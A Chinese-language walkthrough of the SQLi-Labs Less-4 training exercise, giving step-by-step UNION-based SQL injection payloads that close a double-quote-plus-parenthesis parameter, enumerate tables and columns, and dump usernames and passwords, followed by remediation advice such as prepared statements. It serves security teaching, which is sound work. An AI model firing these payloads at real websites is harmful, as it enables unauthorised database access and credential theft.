SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)

SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)

一、关卡核心信息

项目 详情
漏洞类型 GET型双引号+括号字符型SQL注入(字符型注入的经典变体)
核心特征 后端SQL语句中,id参数被("")包裹(即id=("1")),需用")闭合双引号+括号
前置条件 已完成SQLi-Labs靶场搭建与数据库初始化
工具准备 浏览器(Chrome/Firefox)、Burp Suite(可选,抓包验证)
通关目标 掌握双引号+括号的闭合格式,完成敏感数据窃取,理解不同引号类型的注入差异

二、核心原理(教学重点)

Less-4 是字符型注入的典型变体,与前3关的核心差异在于参数包裹格式

  • Less-1:id='1'(单引号)
  • Less-3:id=('1')(单引号+括号)
  • Less-4:id=("1")(双引号+括号)

此类注入的关键是通过报错判断引号类型(双引号)和括号包裹,再针对性构造闭合语句,是真实渗透中高频出现的场景(如开发者习惯用双引号包裹字符串参数)。

三、通关步骤

步骤1:判断注入类型与闭合方式(核心)

  1. 正常访问基准页

    访问地址:http://[靶场IP]/sqli-labs/Less-4/?id=1

    回显结果:页面正常显示Your Login name:DumbYour Password:Dumb,确认id=1查询有效。

  2. 测试单引号闭合(排除法)

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1'

    回显结果:页面无报错、无异常(仅显示空白或原页面),说明不是单引号闭合

  3. 测试双引号闭合(关键)

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1"

    回显结果:出现MySQL语法错误,关键提示为near '"1"") LIMIT 0,1' at line 1

    分析报错:"1"") 说明后端拼接后是 id=("1""),即原语句格式为 id=("参数"),需用 ") 闭合双引号+括号。

  4. 验证闭合有效性

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") --+

    说明:") 闭合 id=("1") 中的双引号和括号,--+ 注释后续多余字符(浏览器自动转+为空格)。

    回显结果:页面恢复正常,验证闭合格式为 ")

步骤2:确定查询字段数(ORDER BY 法)

  1. 输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") order by 3 --+
    回显:页面正常,说明字段数≥3。
  2. 输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") order by 4 --+
    回显:出现Unknown column '4' in 'order clause'报错。
  3. 结论:原查询语句的字段数为3

步骤3:定位回显位置(UNION 联合查询)

  1. 构造Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+
    关键说明:
    • id=-1:让原查询无结果,强制显示联合查询内容;
    • "):闭合原语句的("")格式;
    • union select 1,2,3:匹配3个字段数,测试回显位置。
  2. 回显结果:页面显示23,确认第2、3字段为可回显位置

步骤4:逐层获取数据库敏感信息

(1)查询当前数据库名与数据库用户
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,database(),user() --+
  • 回显结果:database()显示securityuser()显示root@localhost
(2)查询security数据库下的所有表名
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 回显结果:显示emailsreferersuagentsusers,核心目标表为users
(3)查询users表的所有字段名
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
  • 回显结果:显示idusernamepassword
(4)查询users表中的账号密码(通关核心)
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --+
  • 回显结果:显示所有用户凭证(如admin:admintest:test),完成敏感数据窃取。

步骤5:Burp Suite Repeater 适配操作(避坑重点)

Repeater 中+不会自动转空格,需替换为%20(URL编码空格),正确Payload示例:

复制代码
GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --%20 HTTP/1.1

或使用%23(URL编码#)简化:

复制代码
GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users %23 HTTP/1.1

四、常见错误与排错(教学必讲)

错误Payload 报错原因 修正方案
id=1' --+ 误用单引号闭合,原语句为双引号包裹 改为id=1") --+
id=1" --+ 仅闭合双引号,未闭合括号,语法错误 改为id=1") --+
id=-1" union select 1,2,3 --+ 闭合格式错误,缺少括号闭合 改为id=-1") union select 1,2,3 --+
Repeater中--+ +未编码,注释失效导致语法错误 替换为--%20%23

五、漏洞修复方案

Less-4 漏洞本质是后端未过滤双引号、括号等特殊字符,直接拼接SQL语句,修复需从"输入校验"和"语句安全"入手:

  1. 特殊字符过滤 :过滤双引号、括号、注释符等,示例(PHP):

    php 复制代码
    $id = str_replace(['"', '(', ')'], "", $_GET['id']);
  2. 预编译语句(推荐) :使用PDO/MySQLi预编译,彻底避免SQL拼接,示例:

    php 复制代码
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
    $stmt->execute([$id]);
  3. 参数类型强制转换 :若id为数字,直接转为整数,拒绝字符串参数:

    php 复制代码
    $id = intval($_GET['id']);

六、图文并茂实训标注建议

截图序号 截图内容 核心标注
1 正常访问id=1的页面 标注"基准页,原语句格式为id=("1")"
2 id=1"的报错页面 标注"报错关键:"1"") → 闭合格式为")"
3 id=1") --+的正常页面 标注"闭合验证成功,双引号+括号均闭合"
4 联合查询显示表名的页面 标注"回显位置:第2字段显示表名"
5 获取账号密码的最终页面 标注"核心成果:users表敏感数据泄露"

七、通关总结

Less-4 核心考点是双引号+括号的字符型注入闭合逻辑,通关关键可总结为3步:

  1. 判类型 :单引号测试无报错 → 换双引号测试,从报错反推闭合格式((""));
  2. 做闭合 :用")完成双引号+括号的双重闭合,确保SQL语法合法;
  3. 拿数据 :后续ORDER BYUNION SELECT逻辑与前3关一致,仅闭合格式不同。

此类双引号包裹的注入场景在真实开发中常见(如开发者习惯用双引号定义SQL字符串),掌握"先单引号、后双引号"的测试顺序,是快速定位字符型注入闭合格式的核心技巧。

相关推荐
BullSmall6 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters6 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
叠叠乐9 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd012310 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代10 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i10 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel123411 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼12 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技12 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全
波多利希最高礼仪的握力器12 小时前
安全复制SCP
linux·服务器·安全